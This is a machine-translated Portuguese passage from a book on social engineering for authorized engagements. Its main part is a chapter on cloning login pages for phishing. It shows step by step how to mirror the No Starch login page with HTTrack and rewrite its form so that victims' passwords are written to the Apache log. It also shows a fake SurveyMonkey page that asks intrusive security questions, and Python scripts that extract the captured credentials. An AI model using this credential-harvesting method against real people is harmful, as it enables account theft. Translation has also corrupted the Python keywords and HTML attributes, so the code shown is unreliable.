•A empresa deve ter funcionários treinados para avaliar as URLs das páginas em que
navegam.
•Poderia ter ocorrido uma melhor coordenação entre as equipes de segurança e
rede. Uma comunicação melhor poderia ter evitado que o líder de rede enviasse
um e-mail à empresa sobre o e-mail, chamando a atenção para o e-mail em vez
de removê-lo silenciosamente da fila da caixa de entrada antes do e-mail.

•Deveria haver um plano de resposta a incidentes melhor para ataques de engenharia


social.

Conclusão
Os compromissos de engenharia social bem-sucedidos exigem planejamento e
configuração técnica significativos. Este capítulo abordou como configurar um ataque
de phishing que coletava credenciais do usuário sem ser pego. Você primeiro
configurou um droplet da DigitalOcean, protegeu o droplet e configurou o firewall do
droplet. Em seguida, você aprendeu sobre as considerações para configurar um
servidor de e-mail realista.
Você terá que tomar muitas decisões no processo de phishing. Discutimos a
melhor forma de selecionar um domínio para sua conta de e-mail, bem como para a
página inicial para a qual você direcionará os usuários. Também discutimos
complementos como rastreamento de pixels, serviços automatizados de phishing,
suporte a HTTPS e encurtadores de URL. Igualmente importante no lado não técnico,
discutimos o momento do seu ataque.
No próximo capítulo, você configurará um clone realista de um site legítimo que
poderá usar para coletar credenciais de usuário e informações confidenciais — ou para
algum outro propósito tortuoso.

Phishing 105
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

8
CLONANDO PÁGINA AL ANDING

As vítimas que clicarem em um link em seu e-mail


de phishing devem acessar uma página da web confiável.
Se o seu ataque atingir esse estágio, a criação de
uma página de destino útil e realista se tornará o aspecto
mais importante do engajamento. Dependendo do nível de dificuldade
solicitado pelo cliente, isso pode variar de HTML no nível do Myspace
a um clone quase idêntico de um site que o funcionário acessa
diariamente.
Neste capítulo, vamos percorrer um site clonado para mostrar que tipo de
alterações você terá que fazer no site original. Em seguida, clonaremos duas
páginas da Web do site da No Starch Press usando HTTrack, uma ferramenta de linha
de comando do Linux. Você pode hospedar essas páginas clonadas no servidor
Apache que configurou no Capítulo 7 e, em seguida, criar um link para esse site no e-
mail enviado aos funcionários de seu cliente.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Exemplo de site clonado


Vamos dar uma olhada em um site falso da SurveyMonkey, que clonei por volta de 2017.
Este site simples tem três páginas. Primeiro, solicita que as vítimas preencham um formulário
de login. Depois que as vítimas clicam no botão Enviar, elas são direcionadas para um
formulário de redefinição de senha, que faz algumas perguntas invasivas. A página final informa
ao usuário que ocorreu um erro ao redefinir sua conta. Vamos explorar essas páginas com mais
profundidade para que você possa entender melhor essa arquitetura.

A página de login
A Figura 8-1 mostra a primeira página, denominada index.html.

O logotipo de uma empresa-


alvo pode ser incluído para
realismo adicional.

Figura 8-1: A primeira página do site clonado (index.html)

Visualmente, a vítima pode captar algumas pistas para identificar esse phishing.
Perceba que falta o cadeado verde indicando o uso de HTTPS, pois renderizei direto
do arquivo no meu navegador sem usar o Apache. Em um phishing real, a URL não teria o
nome legítimo surveymonkey.
com/ <caminho para a pesquisa> , embora possa mencionar o SurveyMonkey em algum lugar
para enganar os usuários. Além disso, a SurveyMonkey normalmente não coloca logotipos na
página de login. Caso contrário, é difícil detectar esse phishing; o título mostrado na guia do
navegador é preciso, e passar o mouse sobre os links Cadastre-se ou Empresa Credenciada
BBB mostrará os links reais.
A Figura 8-2 nos mostra a primeira página (index.html) do nosso site, à qual nos
conectamos usando HTTPS sem erros. Esta é a página inicial para a qual enviaríamos as vítimas
e onde tentaremos coletar os endereços de e-mail e senhas das vítimas antes de passá-los para
a página question.html .

108 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 8-2: versão HTTPS do site (mostrando uma classificação de segurança clara)

Se você revisar o código-fonte HTML desta página, verá que é quase idêntico ao
código do site original. Você pode encontrar o código-fonte das páginas que clonamos,
bem como analisadores escritos em Python para as informações que podem ser
inseridas, em http:// sm-phish.seosint.xyz/.
Em index.html, alterei as linhas de código que definem o formulário de login e
seus campos. Também editei o código para que, quando os usuários enviarem o
formulário, sejam redirecionados para question.html:

<form id="sign_in_form" class="sign-in-form" 1action="Questions.html" enctype="application/x www-form-


urlencoded" 2"method=get">
<fieldset form="sign_in_form"> <label for="username">Entre
seu nome de usuário:</
label> <3input id="username" name="username" value="" autocorrect="off" autocapitalize="off"
class="notranslate 4textfield required" maxlength="50" size="20" foco automático="" 5type="texto">
<span> <label
for="senha">Entre
sua senha:</label>
<6input id="password" name="password" class="notranslate textfield required" size="20"
autocomplete="off" type="password">
<span>
<div>
<input id="remember_me" name="remember_me" type="checkbox">
<label class="remember-me" for="remember_me">Lembre-se de mim!</label>
</div>
&nbsp;<a href="Questions.html">
<button class="translate btn btn-large btn-arrow btn-arrow-right btn-arrow-large-horiz btn arrow-large-right-
dark yellow shadow" type="submit">Fazer login <span></span ></botão></a>

Clonando um Landing Page 109


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Eu defini a ação 1 para dizer ao sistema que ele deve ir para a página
questions.html depois que o usuário enviar o formulário. Em seguida, defini o método
HTTP como get 2 para capturar dados de cada um dos campos do formulário. (Uma
explicação completa dos métodos HTTP está fora do escopo deste livro, mas você pode
encontrar muitos recursos que cobrem o tópico online.) Em seguida, criei os campos
input-id 3, textfield required 4 e type 5, que geram as caixas que será exibido na tela para
a vítima usar.
Você deve entender que HTTP GET não é um método seguro. Para

evite que um adversário mal-intencionado fora da rede do cliente a explore, certifique-se


de que um firewall esteja instalado e que os únicos endereços IP permitidos sejam o seu
e o do cliente.
Dito isso, usar o método HTTP GET para registrar entradas tem uma variedade de
vantagens. Primeiro, essa tática não requer um banco de dados de back-end, porque os
dados são armazenados diretamente no arquivo de log do Apache, localizado em /var/ log/
apache2/ access.log. Além disso, se a organização de destino monitora seu tráfego de
rede, ela deve receber alertas quando um código como a senha=algo
o parâmetro 6 ocorre em texto não criptografado, fornecendo à organização uma pista
de que está sendo atacada.
Passar credenciais de texto não criptografado em URLs ou outros canais
inseguros é um problema de segurança. Algumas plataformas codificam esse texto, o
que também não é seguro; mesmo que o código usasse um hash como parâmetro, um
invasor com a capacidade de interceptar esse tráfego poderia realizar um ataque pass-
the-hash, no qual um adversário rouba a representação criptográfica de uma senha (o hash)
e a utiliza diretamente para acessar recursos sem saber a senha.

Embora este formulário pareça um login, não é. Ele apenas captura a entrada;
não o valida. Desde que cada campo contenha pelo menos um caractere, o usuário
passará para a próxima página. Se esse código realmente estivesse realizando a
autenticação, seria considerado inseguro, pois o site permitiria a entrada de todos.

Os adversários mal-intencionados podem usar essas senhas coletadas em vários


ataques. Por exemplo, eles podem tentar a pulverização de senhas tentando usar uma
senha em vários logins associados ao funcionário e ao alvo.

A página de perguntas sensíveis


A Figura 8-3 mostra a segunda página, que solicita aos usuários informações confidenciais
sob o pretexto de recuperar sua conta.
A página question.html usa o mesmo código-fonte que index.html. Aqui,
Substituí endereços de e-mail e campos de formulário de senha por quatro perguntas
de redefinição de senha. Também substituí o campo que leva os usuários a question.html
com error.html.

110 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 8-3: A segunda página do site clonado, com os parâmetros de index.html passados na URL (questions.html)

A página de erro
A página final (Figura 8-4) informa aos usuários que houve um erro.

Figura 8-4: A tela de erro para o phishing da SurveyMonkey

Clonando um Landing Page 111


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você pode usar esta página final para uma variedade de propósitos. Por exemplo, muitas
vítimas podem se perguntar por que ocorreu um erro e tentar o processo novamente, inserindo
novas credenciais na tentativa de fazê-lo funcionar. As vítimas também podem relatar esse problema
ao departamento de TI, o que pode encerrar o envolvimento.
O HTML desta página contém um loop infinito que faz com que a página
recarregar-se para sempre. Quando escrevi esse código, por volta de 2017, os navegadores
deixavam esse loop rodar para sempre. Versões de navegadores lançadas após 2020 podem pará-lo
Depois de algum tempo.

Colhendo as informações
O loop causa um problema. Cada iteração dele grava uma linha no arquivo de log, o que torna a
coleta manual de senhas e outras informações confidenciais do arquivo um desafio. Em vez disso,
você pode usar alguns scripts Python para extrair apenas informações relevantes. Você pode
encontrar esses scripts em http:// sm phish.seosint.xyz/.

Nos logs, as informações brutas para a transação de “login” incluem o seguinte:

<Endereço IP> - - [17/Fev/2021:04:04:12 +0000] "GET /Questions.html?


username=Testing_Username&password=password123 HTTP/1.1" 200 11590
"https://<Endereço IP>/Index.html" "Mozilla/5.0 (<informações do agente do usuário>) <informações do agente do
usuário>) (KHTML, como Gecko) <informações do agente do usuário>) "
<Endereço IP>- - [17/Fev/2021:04:04:36 +0000] "GET /Error.html?pet=Dee-Oh
Gee&school=Hogwarts&name=Mom&honeymoon=Tattooine HTTP/1.1" 200 12090 "https:/ /<IP
Endereço>/Questions.html?username=Testing_Username&password=password123" "Mozilla/5.0 (<usuário
informações do agente>) <informações do agente do usuário>) (KHTML, como Gecko) <informações do agente do usuário>) "

Cada linha fornece informações enviadas por um usuário. Ele nos informa a página na qual os
dados foram inseridos (questions.html ou error.html), bem como o ID e o valor do campo, como
pet=Dee-Oh-Gee&.
O script data_parser_index.py abrirá o arquivo de log, localizará cada campo que solicitamos
aos usuários inserir na página de login e, em seguida, exibirá o campo como uma matriz:

#!/usr/bin/env python3

importar re

user_pass = re.compile(r"\S.+username\=(?P<user_name>\S.+)\&(?P<senha>\S.+)\sHTTP\S.+")
log = open("/var/log/apache2/access.log", "r")
matriz = []

para l no log:
u = user_pass.findall(l)
se você:

imprimir(u)
senão:
saída

112 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Importamos o módulo de expressão regular do Python e, em seguida, criamos uma


expressão regular que analisará o nome de usuário e a senha de cada linha que atenda
aos critérios do arquivo de log. Depois de abrirmos o arquivo, um loop for itera em cada
linha do arquivo de log, exibindo todas as correspondências.
Em seguida, o script data_parser_questions.py executa as mesmas tarefas que o
script anterior, exceto que ele extrai a entrada do arquivo question.html :

#!/usr/bin/env python3

importar re

perguntas = re.compile(r"\S.+pet\=(?P<pet>\S.+)\&escola\=(?P<escola>\S.+)\&nome\=(?P<mãe
>\S.+)\&\
lua de mel\=(?P<lua de mel>\S.+)\sHTTP\S.+")
log = open("/var/log/apache2/access.log", "r")
matriz = []

para l no log:
u = perguntas.findall(l)
se você:

imprimir(u)
senão:
saída

Depois de usar os scripts para analisar os dados, devemos ter as informações


informação de que precisamos. O script data_parser_index.py fornece o nome de usuário
e a senha:

root@ossie:~# ./data_parser_index.py
[('Testing_Username', 'password=password123')]

O script data_parser_questions.py produz as perguntas de redefinição de senha


dequestions.html :

root@ossie:~# ./data_parser_questions.py [('Dee-Oh-


Gee', 'Hogwarts', 'Mãe', 'Tattooine')]

Clonar um site
Agora você vai clonar um site. Para o propósito deste exercício, você criará uma cópia
simples, mas quase idêntica, de duas páginas da web No Starch Press. A instância do
Apache que você criou no capítulo anterior precisa de algum código para hospedar. Você
precisa de algo para renderizar na tela do usuário; caso contrário, você não estará fazendo
nada além de medir cliques.

Clonando um Landing Page 113


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Encontrando as páginas de login e do

usuário Vamos supor que você esteja mirando em uma empresa cujos funcionários, como
você sabe por meio de seus esforços OSINT, compram livros da No Starch Press com
frequência. Para roubar suas credenciais para o site, você copiará a página de login nostarch.com .
Visite esta página agora ou localize-a usando robots.txt, um arquivo que informa aos robôs de
indexação do mecanismo de pesquisa da Internet o que indexar (e o que não indexar). Frequentemente
usamos esse arquivo na coleção OSINT para identificar diretórios que não podem ser encontrados
usando mecanismos de pesquisa convencionais.
Você pode perceber que clicar no botão Login leva você a uma nova página da web: https://
nostarch.com/ user. Vamos clonar a página principal e esta página.

Clonando as páginas usando HTTrack


Você usará a ferramenta de cópia de sites HTTrack para realizar essa clonagem.
Essa ferramenta de linha de comando é nativa do Kali e você pode instalá-la em qualquer sistema
Linux. Por exemplo, use o seguinte comando para instalá-lo no Ubuntu e no Debian:

sudo apt-get install httrack

A ferramenta tem várias opções úteis. A opção –mirror faz uma cópia quase idêntica de um
site específico. A opção –update atualiza a cópia de um site existente; por exemplo, alterando o
código subjacente, links, rastreadores ou campos. A opção –continue continua espelhando um site
se o processo de espelhamento foi interrompido ou parado. A opção –skeleton copia apenas os
arquivos HTML do site. A opção -O permite especificar o diretório de saída.

Qual operador você deve usar depende da complexidade do site


você planeja clonar, além da complexidade desejada de seu envolvimento de phishing.
Quanto maior e mais complexo o site, mais tempo leva para cloná-lo, o que aumenta as
oportunidades para que a organização o capture e impeça a clonagem. Se o cliente não se importa
se você é barulhento ou quer uma cópia robusta, ou se você tem muito tempo, faça todo o processo
de espelhamento. Caso contrário, a opção somente HTML deve ser suficiente. Você usará essa
opção aqui.

Para clonar a página de login do No Starch, digite o seguinte comando:

sudo httrack --skeleton https://nostarch.com/user/

A Figura 8-5 mostra a página clonada. Você pode visualizá-lo no diretório em que executou o
HTTrack. Navegue até a pasta apropriada para o domínio e, em seguida, para a estrutura de
diretórios. Neste caso, você está olhando index.html de nostarch.com.

114 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 8-5: Um clone da página de login do No Starch

Compare o clone com o site original (Figura 8-6).

Figura 8-6: A página de login real do No Starch

A única diferença que você deve notar é a URL.

Clonando um Landing Page 115


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Alterando o Código de Campo de Login

Como está agora, qualquer coisa inserida no site clonado redirecionará o usuário para o site
real. Você precisa alterar esse comportamento para os campos de login.
Primeiro, vamos ver este código. A maneira mais simples é carregar o site real
e identificar os campos de login no código usando o recurso Inspecionar elementos do
navegador. Para fazer isso, clique com o botão direito do mouse em qualquer parte da
página e selecione Inspecionar. Agora passe o mouse sobre os campos de login e o
código à direita deve destacar esses elementos.
Nesse caso, o formulário de login é exibido. Aqui está o formulário da página original:

<form id="sign_in_form" class="sign-in-form" action="Questions.html" enctype="application/x www-form-


urlencoded"1"method=post""method=get"><fieldset form ="sign_in_form"> <label for="username">Entre

seu nome de usuário:</label> <input id="username" name="username" value="" autocorrect="off"


autocapitalize="off" class="notranslate textfield required" maxlength="50" size="20" foco automático=""
tipo="texto">2
<span> <label for="senha">Entre
sua senha:</label> <input id="password" name="password" class="notranslate textfield required" size="20"
autocomplete="off" type="password"> <span>3
<div> <input id="remember_me" name="remember_me" type="checkbox"> <label class="remember-me"
for="remember_me">Lembre-se de mim!</label> </div>
&nbsp;<a href="Questions.html"><button class="translate btn btn-large btn-arrow btn-arrow-right
btn-arrow-large-horiz btn-arrow-large-right-dark yellow shadow" type="submit">Entrar <span></
span></button></a>
</fieldset>
</form>

Como o formulário de login que discutimos anteriormente, este arquivo contém o nome de usuário 2
e senha 3 campos, e a captura funciona da mesma forma.
Após uma inspeção mais aprofundada, você pode ver que este site usa o método
HTTP POST em vez de GET, o que significa que você precisará reescrever essa linha 1
para poder roubar credenciais na URL, gravando-as no log do Apache Access. HTTP
POST e HTTP GET são métodos para obter informações do servidor para o cliente. A
principal diferença é que o método GET carrega os parâmetros na URL, o que é menos
seguro que os métodos HTTP POST, que usam o corpo da mensagem para transferir os
parâmetros.

Vamos aplicar isso ao nosso login No Starch e fazer algumas alterações para que
você pode alterar o tipo para GET e capturar as credenciais conforme planejado.
O arquivo que você está procurando está no diretório nostarch.com/ user em index.
html. Você pode localizar o arquivo usando o método Inspect Element ou baixando
manualmente e revisando o código-fonte.
Aqui está a parte do código existente que tem o formulário (que pode ser
encontrados pesquisando a forma da palavra ):

<form action="https://nostarch.com/user/" method="post" id="user-login" accept


charset="UTF-8"><div><div class="form-item form- item-openid-identifier form-type-textfield
form-group"> <label class="control-label" for="edit-openid-identifier">Faça login usando
OpenID</label>

116 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

<input class="form-control form-text" type="text" id="edit-openid-identifier"


name="openid_identifier" value="" size="60" maxlength="255" /><div class ="help-block"><a href="https://
openid.net/">O que é OpenID?</a></div></div><div class="form-item form-item name form-type-textfield
form-group"> <label class="control-label" for="edit-name">Nome de usuário ou endereço de e-mail <span
class="form-required" title="Este campo é obrigatório."> *</label> <input class="form-control form-text
required" title="Digite seu nome de usuário ou endereço de e-mail." data-toggle="tooltip" type="text" id="edit-
name" name="name" value="" size="60" maxlength="60" /></div><div class="form -item form-item-pass
form-type-password form-group"> <label class="control-label" for="edit-pass">Senha <span class="form-
required" title="Este campo é obrigatório.">*</label> <input class="form-control form-text required"
title="Digite a senha que acompanha seu nome de usuário." data-toggle="tooltip" type="password" id="edit-
pass" name="pass" size="60" maxlength="128" /></div><input type="hidden" name=" form_build_id"
value="form--q4hdYs iZQz_R7O2aCls66if7f2BqLo2k1ZftdGkfs" /> <input type="hidden" name="form_id"
value="user_login" /> <input type="hidden" name="openid.return_to" value="https ://nostarch.com/openid/
authenticate?destination=user" /> <ul class="openid-links"><li class="openid-link"><a href="#openid-
login">Entrar usando OpenID</a></li> <li class="user-link"><a href="#">Cancelar login OpenID</a></li> </
ul><div class="form- ações form-wrapper form-group" id="edit-actions"><button type="submit" id="edit-
submit" name="op" value="Log in" class="btn btn-primary form- enviar icon-before"><span class="icon
glyphicon glyphicon-log-in" aria-hidden="true"> Login</button> </div></div></form>

Agora, faça as alterações mostradas em negrito:

1<form action="Error.html" method="get" id="user-login" accept-charset="UTF-8"><div> <div


class="form-item form-item-openid-identifier form-type-textfield form-group"> <label class="control-
label" for="edit-openid-identifier">Login usando OpenID</label> <input class="form-control form-text"
type ="text" id="edit-openid-identifier" name="openid_identifier" value="" size="60" maxlength="255" /
> <div class="help-block"> <a 2href="Erro .html">O que é OpenID?</a></div> </div> <div
class="form-item form-item-name form-type-textfield form-group"> <label class="control- label"
for="edit-name">Nome de usuário ou endereço de e-mail <span class="form required" title="Este
campo é obrigatório.">*</label> <input class="form-control form -text required" title="Digite seu nome
de usuário ou endereço de e-mail." data-toggle="tooltip" type="text" id="edit-name" name="name"
value="" size="60" maxlength="60" /> </div> <div class="form -item form-item-pass form-type-password
form-group"> <label class="control-label" for="edit-pass">Senha <span class="form-required" title="Este
campo é obrigatório.">*</label> <input class="form-control form-text required" title="Digite a senha que
acompanha seu nome de usuário." data-toggle="tooltip" type="password" id="edit-pass" name="pass"
size="60" maxlength="128" /> </div>3<input type="hidden" name= "form_build_id" value="form--q4hdYs-
iZQz_ R7O2aCls66if7f2BqLo2k1ZftdGkfs" /> <input type="hidden" name="form_id" value="user_login" />
<input type="hidden" name="openid.return_to" value ="Error.html"/> <ul class="openid-links"><li
class="openid-link"><a href="#openid-login">Faça login usando

Clonando um Landing Página 117


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

OpenID</a></li>
<li class="user-link"><a href="#">Cancelar login OpenID</a></li>
</ul><div class="form-actions form-wrapper form-group" id="edit-actions">
<button type="submit" id="edit-submit" name="op" value="Log in" class="btn btn-primary
form-submit icon-before">
<span class="icon glyphicon glyphicon-log-in" aria-hidden="true">Login</button>
</div></div></form>

Você primeiro altera a ação de formulário 1 e a tag href 2, que nos permite redirecionar o tráfego
desta página para nosso arquivo error.html . Em 3 você pode ver a parte do código que precisa
remover para que sua página falsa não redirecione a vítima para a página real.

Você terá que fazer sua própria versão do arquivo error.html referenciado neste arquivo, mas isso
não é difícil de fazer. Você pode fazer algo tão simples quanto copiar o arquivo existente e substituir o
formulário por uma declaração que diga algo como esta linha:

<h5> Desculpe, mas nosso site está em manutenção. Verifique novamente em 24


horas. Lamentamos qualquer inconveniente que isso possa causar.</h5>

Você pode encontrar um exemplo de arquivo error.html para uma página da SurveyMonkey no
Repositório GitHub (http:// sm-phish.seosint.xyz/).
Agora teste esta cópia clicando duas vezes no ícone em um visualizador de arquivos ou navegando
até o host em um navegador (Figura 8-7).

Figura 8-7: Exibindo uma mensagem de erro personalizada em um clone da página de registro do No Starch

118 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Adicionando as páginas da Web ao servidor Apache


Depois de confirmar que funciona, mova seu site para o diretório raiz do Apache. Será
aqui que teremos o certificado SSL/TLS instalado e o DNS apontando. Para fazer isso,
você precisará usar o método de transferência de arquivo usado no Capítulo 7 para
mover cada arquivo HTML para /var/ www/ public_html.
Quaisquer conexões com os sites serão registradas no Access.log, e é aí que você
coletará os dados fornecidos pelas vítimas.
Aqui está o Access.log para este evento:

<Endereço IP> - - [17/fev/2020:04:04:12 +0000] "GET


/error.html?openid_identifier=test&name=test&pass=test HTTP/1.1" 200 11590 "https://<IP
Endereço>/index.html" "Mozilla/5.0 (<informações do agente do usuário>) <informações do agente do usuário>)
(KHTML, como Gecko) <informações do agente do usuário>) "

Conclusão
Configurar páginas de phishing não é muito difícil. Pode ser tedioso, porém, e
determinará seu sucesso. A qualidade de suas páginas de destino de phishing pode
fazer a diferença entre um phishing totalmente malsucedido, mesmo contra uma
empresa sem consciência de segurança, e repetir negócios por meio de um
relacionamento colaborativo.
Outra coisa a ter em mente é que as páginas devem ser tão realistas quanto seu
cliente deseja. Se eles quiserem que este exercício seja um 3 de 10, você pode deixar
de lado o suporte HTTPS, incluir links quebrados ou usar gramática ruim. Se pedirem
um 9, jogue tudo e a pia da cozinha neles. Seja o melhor engenheiro social de estado-
nação que você pode ser!

Clonando um Landing Page 119


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

9
DETECÇÃO , MEDIÇÃO,
E RELATÓRIOS

A parte mais valiosa de um trabalho de


engenharia social é também a mais
frequentemente mal direcionada ou ignorada.
Neste capítulo, você aprenderá sobre as fases
de detecção, medição e relatório do trabalho. Muitas
vezes, parte de ajudar a organização do seu cliente é
tornar-se detectável. Na fase de medição, você deve
obter estatísticas sobre suas taxas de sucesso, bem como
outros indicadores-chave de desempenho. Você usará
essas estatísticas para gerar um relatório profissional e compreensí
Discutiremos as várias maneiras de medir o resultado de um engajamento.
Isso envolve considerar as diversas métricas que podem tornar seus dados
compreensíveis para seus clientes, sendo que as mais úteis vão além de
simplesmente informar quantos e-mails abertos ou links clicados a campanha
solicitou. Por fim, explicarei como escrever um relatório útil e envolvente que os
executivos possam realmente ler.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Detecção
Embora os engenheiros sociais desejem, em parte, obter acesso não autorizado, os éticos também
devem esperar ser detectados. Os clientes não pagam para você intimidar seus funcionários. Em
vez disso, eles querem entender os pontos fracos de sua empresa, juntamente com conselhos para
superá-los.
Portanto, você deve aceitar um meio termo: desafie seu alcatrão, mas faça-o de
maneira justa. Parte desse meio reside em fazer com que o cliente treine a equipe, o que está fora
de seu controle. A terceira seção deste livro trata disso. A parte que você pode mudar é a estrutura
de seus compromissos. Ao usar ataques com níveis variados de dificuldade, você pode dar aos
funcionários a chance de detectá-lo e denunciá-lo.

Ao definir o escopo do compromisso, você deve chegar a um entendimento claro com o


cliente sobre o quão furtivo deve ser. Se você estiver executando este ataque para iniciar um
programa de conscientização, provavelmente desejará ser extremamente furtivo ou incrivelmente
barulhento, dependendo da maturidade da organização com a qual está trabalhando (embora a
decisão final seja do cliente).
Uma organização madura pode ser capaz de lidar com uma operação secreta, mas ainda quer uma
operação barulhenta, ou pode ser muito imatura para obter valor de operações secretas, mesmo que
o gerente escolha esse caminho.
Se você estiver operando furtivamente, poderá obter uma visão precisa do que um adversário
sofisticado pode realizar dentro de uma organização. As operações secretas podem estabelecer
uma boa referência para entender os riscos se os motivos forem bons. As organizações que mais
podem se beneficiar disso são aquelas com programas de conscientização e treinamento já
implantados. Freqüentemente, esses engajamentos são mais adequados para serem executados
como parte de uma campanha de emulação adversária, como um time vermelho ou, em menor grau,
um teste de penetração.
Executar tais compromissos por conta própria também é aceitável.
Os testes abertos são um excelente primeiro ponto de contato para uma organização que está
inteiramente novo para emulação adversária e engenharia social. Se o objetivo da emulação
contraditória for puramente de conformidade, as operações abertas podem ser a melhor solução
e economizar mais tempo para você e para o cliente.

Medição

Para avaliar o sucesso do seu engajamento, você precisa usar métricas. Mas quais métricas
importam? Como você os mede? Você precisa fazer um curso de estatística ou obter um diploma
em ciência de dados?
Ter algum conhecimento sobre estatísticas ajudará e, em certas situações - por exemplo, se
você quiser avaliar quais departamentos de uma empresa foram vítimas de ataques de engenharia
social com mais frequência ou quais esquemas e horários foram mais eficazes - entender os conceitos
de ciência de dados como regressão e análise de cluster certamente não vão doer. Na maioria dos
casos, no entanto, esse pano de fundo não é necessário. Lembre-se também de que, se você planeja
fazer essa pesquisa, precisará de um conjunto de dados substancial (milhares de e-mails de phishing,
senão milhões) e, mais importante, do consentimento do cliente.

122 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Seleção de Métricas
Ao selecionar métricas, tente ser o mais prático possível. O que poderia colocar a
organização do cliente na metade superior da primeira página do jornal local, acima da
dobra? O que poderia colocá-lo em problemas legais? Na maioria das vezes, apenas abrir
um e-mail não causará um resultado negativo, portanto, essa métrica pode não ser muito útil
para medir. Clicar em links, fornecer informações ou deixar de relatar a vítima causa
consequências negativas.
Embora você possa ter suas próprias ideias sobre quais métricas devem se
preocupar, saber quais métricas o cliente considera importantes também é fundamental.
A partir deste ponto, você pode organizar os dados conforme necessário para ajudar o
cliente a entendê-los.

Razões, medianas, médias e desvios padrão


Para apresentar os dados de forma significativa, você deve saber como calcular os seguintes
valores: proporções, medianas, médias e desvios padrão. As operações necessárias aqui
requerem um mínimo de 30 pontos de dados para serem estatisticamente significativas.

As proporções, colocadas em linguagem comum, informam “quantos Xs ocorrem em Y”


como uma porcentagem. Em outras palavras, se você enviar um phishing para 100 pessoas e
19 pessoas clicarem, você terá uma chance de 19 em 100 – ou 19% – de alguém clicar no link
(também chamado de taxa de cliques).
A mediana é o ponto de dados mais central para o valor. Se você alinhar seu
pontos de dados do menor para o maior, a mediana seria equidistante de ambas as
extremidades da linha. Por exemplo, suponha que você realizou três ações de phishing em
um cliente com 100 usuários. O primeiro engajamento teve 62 usuários vítimas. O segundo
tinha 34 e o terceiro tinha 19. Vamos colocar esses pontos de dados em ordem, do menor
para o maior. Se você se interessar por programação, pense em um array ordenado: [19, 34,
62]. A mediana é 34, porque é o valor do meio.

Por outro lado, a média é a média de todos os pontos de dados. Usando os mesmos três
compromissos, você pode somar todos os três valores e dividir o resultado por 3 (já que
existem três valores), obtendo uma média de 38,33.
Para falar do padrão como um todo, use o desvio padrão, a medida da variação de um
conjunto de valores. Simplificando, o desvio padrão fornece uma medida de quanto cada
valor difere da média. Eu poderia aborrecê-lo com a equação real, mas uma observação
positiva é que o Excel e a maioria dos aplicativos de planilhas calcularão para você. Um
desvio padrão baixo significa que os pontos de dados no conjunto são mais semelhantes do
que se o desvio padrão fosse alto.

Ter esses pontos de dados ajudará o cliente a entender o estado geral de uma
organização em termos de comportamento de seus funcionários. Por exemplo, se você
tiver o conjunto de dados 1, 1, 1, 1, 5, 7, 24, poderá gerar os seguintes valores:

• Mediana: 1
•Média: 5,714
• Desvio padrão: 8,420

Detecção, Medição e Relatórios 123


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A partir dessas estatísticas, você pode generalizar, para o cliente, como seus
funcionários se saíram no teste. Por exemplo, o desvio padrão de 8,420 neste exemplo
mostra que o conjunto de números é diverso, provavelmente indicando que as pessoas
se comportaram de maneira muito diferente umas das outras. Esse desvio padrão faz
sentido se você voltar aos dados originais e considerar a grande diferença entre o maior
número, 24, e o próximo maior, 7. Se mudarmos 24 para 12, reduzindo a variação no
conjunto de dados, o desvio padrão diminui significativamente, para 4,281.

O número de vezes que um e-mail é aberto


Abre é uma métrica relativamente menor. Se você usá-lo em conjunto com cliques e
entrada de dados em sites de phishing, poderá obter informações mais úteis, como uma
proporção que ilustra a taxa na qual funcionários não técnicos podem identificar e-mails de
phishing por linha de assunto. Ainda assim, os clientes geralmente se concentram no número
de aberturas por si só. Eu sempre tento desencorajar isso.
Os e-mails devem ser abertos e, embora alguns possam conter malware,
usar essa métrica pode levar os usuários a começar a evitar e-mails legítimos.
Se o e-mail contém malware, isso deve ser feito pelas equipes de administração e
segurança de e-mail, que devem monitorar os e-mails recebidos em busca de anexos.
Embora os usuários devam se comprometer a fazer sua parte para manter a segurança
de uma organização, o contador de uma empresa não é um especialista em segurança da
informação ou malware. Se os ataques de phishing usam linhas de assunto realistas e
informações de visualização, como os usuários podem saber se um e-mail é um phishing
sem abri-lo?
Há uma ressalva: adversários mais avançados podem usar a exploração do lado
do navegador para coletar metadados dos navegadores, se um usuário abrir um e-mail.
Essas são ameaças reais, mas se uma empresa não puder resistir a um envolvimento
básico de phishing, provavelmente não terá maturidade para mitigar esses ataques mais
avançados. Isso ilustra um tema que abordaremos no Capítulo 10, defesa em profundidade.
Você não deve confiar apenas em controles educacionais ou técnicos.
Procure educar, mas implemente ferramentas de segurança de e-mail além da proteção
contra malware.
Em vez de se concentrar apenas no número de aberturas, concentre-se nas seguintes
métricas úteis:

Distância do relatório aberto O tempo do primeiro relatório menos o tempo da


primeira abertura
Proporção de relatórios abertos O número de vezes que o e-mail foi relatado
dividido pelo número de aberturas

A distância do relatório aberto mede o tempo entre quando o primeiro e-mail


é aberto e o horário em que é comunicado à equipe de segurança. Essa métrica é
valiosa porque dá uma pista sobre a quantidade de tempo que a equipe de segurança tem
para evitar que o phishing tenha um grande impacto. Depois de receber o relatório, a
equipe de segurança pode examinar o e-mail, ver o site vinculado em um ambiente de
sandbox e começar a tomar ações defensivas. Essas ações podem incluir trabalhar para
